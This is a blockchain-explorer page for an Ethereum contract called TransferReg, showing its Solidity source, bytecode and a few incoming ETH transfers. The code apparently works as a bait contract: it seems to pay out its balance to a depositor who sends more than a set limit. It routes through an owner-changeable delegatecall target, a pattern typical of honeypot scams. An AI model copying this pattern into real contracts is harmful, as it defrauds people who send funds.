Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 6 from a total of 6 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Transfer | 4813166 | 2540 days ago | IN | 1.01 ETH | 0.00070802 | ||||
Transfer | 4813106 | 2540 days ago | IN | 1 ETH | 0.00045984 | ||||
Transfer | 4793071 | 2543 days ago | IN | 0.9 ETH | 0.00000048 | ||||
Transfer | 4793066 | 2543 days ago | IN | 0.1 ETH | 0.00000048 | ||||
Transfer | 4793054 | 2543 days ago | IN | 1 ETH | 0.0000007 | ||||
Set | 4792949 | 2543 days ago | IN | 0 ETH | 0.00000134 |
Loading...
Loading
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.
Contract Name:
TransferReg
Compiler Version
v0.4.18+commit.9cf6e910
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2017-12-25 */ pragma solidity ^0.4.18; contract TransferReg { address public Owner = msg.sender; address public DataBase; uint256 public Limit; function Set(address dataBase, uint256 limit) { require(msg.sender == Owner); Limit = limit; DataBase = dataBase; } function()payable{} function transfer(address adr) payable { if(msg.value>Limit) { DataBase.delegatecall(bytes4(sha3("AddToDB(address)")),msg.sender); adr.transfer(this.balance); } } } contract Lib { address owner = msg.sender; bytes lastUknownMessage; mapping (address => uint256) Db; function() public payable { lastUknownMessage = msg.data; } function AddToDB(address adr) public payable { Db[adr]++; } function GetAddrCallQty(address adr) public returns(uint) { require(owner==msg.sender); return Db[adr]; } function GetLastMsg() public returns(bytes) { require(owner==msg.sender); return lastUknownMessage; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"constant":false,"inputs":[{"name":"adr","type":"address"}],"name":"transfer","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"Limit","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"DataBase","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"Owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"dataBase","type":"address"},{"name":"limit","type":"uint256"}],"name":"Set","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]
Contract Creation Code
6060604052336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550341561004f57600080fd5b6104448061005e6000396000f30060606040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631a6952301461006f5780634f0575061461009d5780638caa5c91146100c6578063b4a99a4e1461011b578063fd28ec3e14610170575b005b61009b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506101b2565b005b34156100a857600080fd5b6100b0610320565b6040518082815260200191505060405180910390f35b34156100d157600080fd5b6100d9610326565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012657600080fd5b61012e61034c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561017b57600080fd5b6101b0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610371565b005b60025434111561031d57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660405180807f416464546f444228616464726573732900000000000000000000000000000000815250601001905060405180910390207c01000000000000000000000000000000000000000000000000000000009004336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506000604051808303818661646e5a03f492505050508073ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561031c57600080fd5b5b50565b60025481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103cc57600080fd5b8060028190555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505600a165627a7a72305820936bfe070280bb806651faab19118235479922ffc8b7e12d94988e8699791d0c0029
Deployed Bytecode
0x60606040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631a6952301461006f5780634f0575061461009d5780638caa5c91146100c6578063b4a99a4e1461011b578063fd28ec3e14610170575b005b61009b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506101b2565b005b34156100a857600080fd5b6100b0610320565b6040518082815260200191505060405180910390f35b34156100d157600080fd5b6100d9610326565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012657600080fd5b61012e61034c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561017b57600080fd5b6101b0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610371565b005b60025434111561031d57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660405180807f416464546f444228616464726573732900000000000000000000000000000000815250601001905060405180910390207c01000000000000000000000000000000000000000000000000000000009004336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506000604051808303818661646e5a03f492505050508073ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561031c57600080fd5b5b50565b60025481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103cc57600080fd5b8060028190555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505600a165627a7a72305820936bfe070280bb806651faab19118235479922ffc8b7e12d94988e8699791d0c0029
Swarm Source
bzzr://936bfe070280bb806651faab19118235479922ffc8b7e12d94988e8699791d0c
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.